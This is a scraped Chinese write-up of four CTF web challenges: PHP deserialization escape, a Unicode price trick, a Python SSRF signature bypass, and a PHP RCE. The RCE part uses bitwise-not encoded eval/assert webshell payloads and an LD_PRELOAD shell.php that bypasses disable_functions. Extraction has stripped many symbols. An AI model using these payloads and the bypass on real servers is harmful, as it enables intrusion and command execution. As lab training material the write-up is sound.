专业商城网站制作网站视频下载软件

当前位置: 首页 > news >正文

专业商城网站制作,网站视频下载软件,苏州pc网站开发,网站设置访问密码1、[安洵杯 2019]easy_serialize_php 1 考点#xff1a;PHP 反序列化逃逸 变量覆盖 【代码审计】 通过 GET 的方式获取参数 f 的值#xff0c;传递给变量 function 定义一个过滤函数#xff0c;过滤掉特定字符#xff08;用空字符替换#xff09; 下面的代码其实没什么用…1、[安洵杯 2019]easy_serialize_php 1 考点PHP 反序列化逃逸 变量覆盖 【代码审计】 通过 GET 的方式获取参数 f 的值传递给变量 function 定义一个过滤函数过滤掉特定字符用空字符替换 下面的代码其实没什么用应该是干扰对做题没影响 extract () 函数从数组中将变量导入到当前的符号表。 该函数使用数组键名作为变量名使用数组键值作为变量值。针对数组中的每个元素将在当前符号表中创建对应的一个变量。该函数存在变量覆盖漏洞我们只需要从新传递变量的值就可以将原来的覆盖掉。 变量覆盖漏洞_extract变量覆盖漏洞-CSDN博客 这里就是我们刚进去的页面当 \(function 为空值的时候输出该跳转链接 通过 img_path 的值来为 \)_SESSION[img] 传递指定的值加上 \(_SESSION[img] 在 extract () 后面导致我们无法直接为其赋值 对 \)_SESSION 进行序列化然后再进行敏感字符过滤这会导致反序列化逃逸 代码通过判断参数 f 的值来输出指定文件当 fhighlight_file 就输出 index.php 文件的内容到页面其他的一样 根据代码的提示我们构造 fphpinfo 然后寻找敏感信息最终找到一个文件名猜测 flag 应该在其中 值得注意的是 如果 fshow_image ,那么就会对前面序列化的字符串进行反序列化然后再进过一次 base64 解码高亮解码后的文件 【解题思路】 经过前面代码的分析解题思路就有了。 序列化的时候是对下面三个变量同时序列化的 \(_SESSION[user] guest;\)_SESSION[function] \(function;\)_SESSION[img]base64_encode(guest_img.png); 而前两个变量是可以通过变量覆盖漏洞进行修改的 \(_SESSION[user] guest;\)_SESSION[function] \(function; 由于该题对字符串过滤是先序列化再过滤再反序列化存在反序列化逃逸我们可以通过对前两个变量的构造从而实现对 img 的赋值 正常情况下来讲该代码序列化的过程 ?php \)_SESSION[user] guest; \(_SESSION[function] show_image; \)_SESSION[img] guest_img.php;echo serialize(\(_SESSION);? a:3:{s:4:user;s:5:guest;s:8:function;s:10:show_image;s:3:img;s:13:guest_img.php;} 我们需要把 img 的值改成 d0g3_f1ag.php 经过 base64 编码后的字符串因为在高亮函数数会经过一次解码所以传进去的必须提前编码好 d0g3_f1ag.php   ----- base64 ----- ZDBnM19mMWFnLnBocA 我们修改一下\)_SESSION[function]、\(_SESSION[img] 的值【注意这里只是为构造 payload 而测试的并不是直接改题目中 \)_SESSION[img] 的值那个是改不了的】 (变量值写 a 只是为了方便计算) ?php \(_SESSION[user] guest; \)_SESSION[function] a; \(_SESSION[img] ZDBnM19mMWFnLnBocA;echo serialize(\)_SESSION);? a:3:{s:4:user;s:5:guest;s:8:function;s:1:a;s:3:img;s:20:ZDBnM19mMWFnLnBocA;} 反序列化逃逸如果经过过滤后键值的字符减少了但是原本长度是不会变的他就会向后读取对应的字符数补到和原长度一样我们截取这么一段 a;s:3:img;s:20:ZDBnM19mMWFnLnBocA;} ?php \(_SESSION[user] flagflagflagflagflagflag; \)_SESSION[function] a;s:3:img;s:20:ZDBnM19mMWFnLnBocA;}; \(_SESSION[img] ZDBnM19mMWFnLnBocA;echo serialize(\)_SESSION);? 序列化后 a:3:{s:4:user;s:24:flagflagflagflagflagflag;s:8:function;s:42:a;s:3:img;s:20:ZDBnM19mMWFnLnBocA;};s:3:img;s:20:ZDBnM19mMWFnLnBocA;} 经过过滤flag 全部被过滤掉先后取 24 为补足长度所以 ;s:8:function;s:42:a 就变成了 user 的值;s:3:img;s:20:ZDBnM19mMWFnLnBocA;} 在花括号外面会被忽略掉 a:3:{s:4:user;s:24:;s:8:function;s:42:a;s:3:img;s:20:ZDBnM19mMWFnLnBocA;};s:3:img;s:20:ZDBnM19mMWFnLnBocA;} 但是这样只有两个键值对而代码要满足三个所以我们自己再补一个键值对 payload a;s:3:img;s:20:ZDBnM19mMWFnLnBocA;s:2:cc;s:1:1;} 接下来就构造获取 flag 的 payload _SESSION[user]flagflagflagflagflagflag_SESSION[function]a;s:3:img;s:20:ZDBnM19mMWFnLnBocA;s:2:cc;s:1:1;} 然后查看网页源代码 把 /d0g3_fllllllag 进行 base64 加密一下L2QwZzNfZmxsbGxsbGFn套进前面的 payload 中继续 _SESSION[user]flagflagflagflagflagflag_SESSION[function]a;s:3:img;s:20:L2QwZzNfZmxsbGxsbGFn;s:2:cc;s:1:1;} 【拓展】 反序列化逃逸分为两种 ①、关键词数增加 例如from - where 数量由 4 到了 5 ②、关键词数减少 例如将一些关键词替换成空格那词数就减少了本体属于这种 第一种逃逸方法构造多个关键字 第二种逃逸方法 1、值逃逸需要两个连续的键值对由第一个的值覆盖第二个的键这样第二个值就逃逸出去了单独作为一个键值对 2、键逃逸只需要一个键值对我们直接构造会被过滤的键这样值的一部分充当键剩下的一部分作为单独键值对 2、[ASIS 2019]Unicorn shop 1 考点Unicode转换 进入靶场我按照提示输入信息 错误提示只允许输入一个字符 什么意思没太明白我们查看一下页面源代码 访问发现没什么还是同样的界面 翻译一下 那么随便输入一个字符看看 分析到这里我就做不出来了后来看了别人的 wp 这些都能成功好像只有第四个商品可以购买且价格只要大于千位即可用字符来替代 3、[De1CTF 2019]SSRF Me 1 考点Python 代码审计 【代码审计】 #! /usr/bin/env python #encodingutf-8 from flask import Flask # flask 框架 from flask import request import socket # socket 模块可以创建套接字 import hashlib # 算法模块 import urllib # python爬虫库网络请求模块 import sys # sys 模块主要负责与 Python 解释器进行交互该模块提供了一系列用于控制 Python 运行环境的函数和变量 import os # os 模块主要负责与操作系统进行交互 import json # 专门处理 json 格式的模块reload(sys) # reload()函数将以前导入过的模块再加载一次 sys.setdefaultencoding(latin1) # 设置默认编码为 latin1 字符集app Flask(name)secert_key os.urandom(16) # 生成随机加密字符参数表示需要生成的随机字节串的长度。生成的随机字节串会以二进制形式返回。class Task:def init(self, action, param, sign, ip):self.action actionself.param paramself.sign signself.sandbox md5(ip)if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addros.mkdir(self.sandbox) # 不存在的话就创建def Exec(self):result {} # 字典result[code] 500 # 令键 code 的值为 500if (self.checkSign()): # 检查签名# 由下面代码可以猜测 self.action 的值为 scanread | readsacnif scan in self.action:tmpfile open(./%s/result.txt % self.sandbox, w)resp scan(self.param) # 保存 scan 返回的 flag.txt 中的数据# 判断是否超时if (resp Connection Timeout):result[data] respelse:print(resp)tmpfile.write(resp) # 将 flag.txt 中的数据写入 result.txt 文件中tmpfile.close() # 关闭文件result[code] 200if read in self.action:f open(./%s/result.txt % self.sandbox, r)result[code] 200result[data] f.read() # 把 result.txt 中的数据读取出来保存到字典中if result[code] 500:result[data] Action Errorelse:result[code] 500result[msg] Sign Errorreturn resultdef checkSign(self):if (getSign(self.action, self.param) self.sign):return Trueelse:return False# generate Sign For Action Scan.

三个路由的执行是通过 URL 来判断的没有参数的话执行 index() 获取源码

根据目录下文件的不同执行不同的路由

题目提示给出flag is in ./flag.txt

app.route(/geneSign, methods[GET, POST]) def geneSign():# unquote 对 URL 进行解码quote 对字符串进行 URL 编码# request.args.get 获取地址中的参数键 paramparam urllib.unquote(request.args.get(param, ))action scan# 键获取的 param 和 action 传入 getSignreturn getSign(action, param)

该函数给我们返回的是 secert_key param action 的 MD5 值

通过这个路由可以构造 payload /geneSign?paramflag.txt 得到d36e748ebd776f0bf1f7b4f131f91ca2app.route(/De1ta,methods[GET,POST])

def challenge():# 获取 cookie 中 action 字段的值action urllib.unquote(request.cookies.get(action))# 获取地址中 param 参数的值param urllib.unquote(request.args.get(param, ))# 获取 cookie 中 sign 字段的值sign urllib.unquote(request.cookies.get(sign))# 表示发出请求的远程主机的 IP 地址remote_addr代表客户端的IP但它的值不是由客户端提供的而是服务端根据客户端的ip指定的ip request.remote_addr# 把参数 param 的值传给 waf函数if(waf(param)):return No Hacker!!!!#创建实例化对象 tasktask Task(action, param, sign, ip)return json.dumps(task.Exec())app.route(/) def index():return open(code.txt,r).read()def scan(param):socket.setdefaulttimeout(1) # 设置超时时间try:return urllib.urlopen(param).read()[:50] # 读取 flag.txt 中的数据except:return Connection Timeoutdef getSign(action, param):# 根据前面的函数传过来的 action “scan , param 为地址中 param 参数的值# 由于在 Exec 中要检测签名而 scan 作为默认值传过来所以 read 我们要自己加上去才能满足条件# paramflag.txtread,拼接起来就是 secert_key flag.txtreadscanreturn hashlib.md5(secert_key param action).hexdigest()def md5(content):# 对 content 进行 md5 加密结果以十六进制的形式返回【digest 表示二进制形式】return hashlib.md5(content).hexdigest()def waf(param):# 去除 param 值两边的空格然后大写转小写checkparam.strip().lower()# startswith 判断字符串是否以指定字符串开头if check.startswith(gopher) or check.startswith(file):return Trueelse:return Falseif name main:app.debug False# 通过 run方法启用本地开发服务器app.run(host0.0.0.0)# 解题思路

方法一字符串拼接

由类方法 Exec 可知我们要做的是绕过 self.checkSign() 只有绕过了才能顺利进入

由 checkSign() 我们定位到 getSign 函数最终的 MD5 值我们只需要通过 geneSign() 构造 payload 即可获取到

payload1/geneSign?paramflag.txtread 1b49e5550464c8d432c4eddae4376413 ,这个就是我们 getSign 的值

而 self.sign 的值是通过 cookie 传递的所以我们构造 payload2进入/De1ta?paramflag.txt页面令 Cookiesign1b49e5550464c8d432c4eddae4376413actionreadscan 4、[极客大挑战 2019]RCE ME 1 考点代码审计 取反绕过 preg_match()  劫持 SO RCE 进入靶场需要代码审计 发现两个敏感的关键字preg_match() 、eval() preg_match() 执行正则匹配表达式 eval() eval()函数把括号里面内容按照php代码处理 审计代码要求我们输入的参数 code 不能大于 40 字节且要绕过正则匹配才可以执行 eval我们的目的就是要执行 eval因为该函数可以把它的参数当成 PHP 代码执行

发现正则过滤了大小写字母以及数字这里可以利用 url 编码取反绕过或者异或绕过 url 编码取反绕过 ?php\(s phpinfo; echo urlencode(~\)s);? urlencode 的参数中 ~ 表示取反的意思 这里的 ~ 和 有所不同~ 是按位取反是逻辑取反即真为假假为真 运行结果 %8F%97%8F%96%91%99%90 我们在 url 中传入的参数在服务器后端会进行 url 解码由于该字符是取反过后的结果所以直接解码后会成为不可打印的字符从而绕过正则 这里推荐末初师傅的一篇文章 浅谈PHP代码执行中出现过滤限制的绕过执行方法_php过滤绕过-CSDN博客 构造 payload ?code(%8F%97%8F%96%91%99%90)(); 解析 这里的 %8F%97%8F%96%91%99%90 需要再取一次反因为在编码的时候取了一次反在 url 中再取一次服务器进行 url 解码的时候才能解成 phpinfo 而括号最后的 (); 是 phpinfo(); 的 ();只不过这个括号没进行编码所以要拼接上去 经过一番搜索里面并没有我们要的 flag 但是发现了一个关键的东西 disable_functions 是 php.ini 中的一个设置选项。相当于一个黑名单可以用来设置 PHP 环境禁止使用某些函数通常是网站管理员为了安全起见用来禁用某些危险的命令执行函数等。 还查看了一下 PHP 的版本 通过一句话木马来获取 shell 通过 phpinfo 可以发现 PHP 的版本为 7.0 且 disable_functions 没有过滤掉 assert() 在 PHP 7.0 版本中assert() 有个特点如果参数是字符串将解释为 PHP 代码并通过 eval() 执行。 由于 eval 属于 PHP 语法构造的一部分eval是一个语言构造器不能被可变函数调用所以不能通过变量函数的形式来调用因为当前版本为 7.0所以我们可以用 assert 来替代 eval  格式 (assert)(eval(\(_POST[test])) 动态调用函数时的命令执行对于eval()和assert()的执行问题_cannot call assert() with string argument dynamica-CSDN博客 更详细的话看这篇 关于一句话中使用的assert和eval - Article_kelp - 博客园 (cnblogs.com) ?php\)aassert;$burlencode(\(a);echo \)b;echo br;\(c(eval(\)_POST[test]));\(durlencode(~\)c);echo \(d;? 构造 payload ?code(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%8B%9A%8C%8B%DD%A2%D6%D6); 发现 flag 但是读取不了应该要用到 readflag 这个文件 通过看其他师傅的文章本地有预期解和非预期解 预期解劫持 SO 利用 LD_PRELOAD putenv 打组合拳 1、 LD_PRELOAD  这个环境变量指定路径的文件会在其他文件被调用前最先被调用 深入分析 LD_PRELOAD-CSDN博客 2、putenv  可以设置环境变量添加 setting 到服务器环境变量该环境变量仅存在于当前请求期间在请求结束时会回复到初始状态 putenv 函数解析 这里我说一下劫持 SO 的原理 在 Unix 操作系统中程序运行时会按照一定的规则顺序去查找依赖的动态链接库当查找到指定的 so 文件时动态链接器会将程序所依赖的共享对象进行装载和初始化至于为何可以使用 so 文件进行函数劫持这与 Linux 的特性有关两个 so 文件定义了同名函数程序在调用该函数时会调用先加载的 so 中的函数后加载的将会被屏蔽掉。所以要实现劫持就要时我们上传的恶意程序先执行。 环境变量 LD_PRELOAD 以及配置文件 /etc/ld.so.preload 可以帮我们实现它可以影响程序的运行时的链接它允许你定义在程序运行前优先加载动态链接库只需要通过 LD_PRELOAD 加载的 so 中编写我们需要 hook 的同名函数即可实现劫持。 这里需要下载两个文件 1、bypass_disablefunc.php 2、bypass_disablefunc_x64.so 下载地址 GitHub - yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD: bypass disable_functions via LD_PRELOA (no need /usr/sbin/sendmail) 对 bypass_disablefunc.php 文件进行一些修改命名为 shell.php ?php//shell.phpecho 成功执行了shell.php;\)cmd /readflag;//这个是需要执行的文件这里是“/readflag”\(out_path /tmp/flag.txt;//将读取到的文件放在/tmp/flag.txt中\)evil_cmdline \(cmd . . \)out_path . 21;//将读取到的flag放入/tmp/flag.txt中putenv(EVIL_CMDLINE . \(evil_cmdline);//\)so_path /tmp/bypass_disablefunc_x64.so;//这个so文件之前已经上传到/tmp中putenv(LD_PRELOAD . \(so_path);mail(, , , );echo p boutput/b: br / . nl2br(file_get_contents(\)out_path)) . /p; //读取/tmp/flag.txt文件内容unlink(\(out_path); ? 上传两个文件 构造 payload ?code\){%fe%fe%fe%fe^%a1%b9%bb%aa}_;_assert__include(%27/tmp/shell.php%27)非预期解蚁剑插件 disable_functions 在获取了无用 shell 之后我们需要绕过 disable_functions可以使用蚁剑的插件绕过如下是具体安装方法windows,linux 蚁剑下载与安装 与 手动安装插件disablefunctions-CSDN博客 这里就不具体讲解了有兴趣了解一下这个是用工具来解题的 [极客大挑战 2019]RCE ME[极客大挑战 2019]rce me 1-CSDN博客 【拓展】 异或绕过 在PHP中两个字符串异或之后得到的还是一个字符串。如果正则过滤了一些字符串那就可以使用两个不在正则匹配范围内的字符串进行异或得到我们想要的字符串。 ?phpecho (~^?);? 得到的结果A 这里直接拿别人的 payload ?code(%22%80%80%80%80%80%80%80%22^%22%f0%e8%f0%e9%ee%e6%ef%22)(); 做本题搜索过的相关知识文章 分析webshell(php)以及eval与assert区别 - FreeBuf网络安全行业门户 动态调用函数时的命令执行对于eval()和assert()的执行问题cannot call assert() with string argument dynamica-CSDN博客 [极客大挑战 2019]RCE ME[极客大挑战 2019]rce me 1-CSDN博客 [极客大挑战 2019]RCE ME 1 - 微草wd - 博客园 (cnblogs.com) 关于一句话中使用的assert和eval - Article_kelp - 博客园 (cnblogs.com) 命令执行中关于PHP正则表达式的一些绕过方法_正则表达式中过滤的怎么绕过-CSDN博客 绕过 disable_functions 的相关文章 无需sendmail巧用LD_PRELOAD突破disable_functions - FreeBuf网络安全行业门户 bypass disable_functions姿势总结 - 先知社区 (aliyun.com) 绕过Disable Functions来搞事情 - FreeBuf网络安全行业门户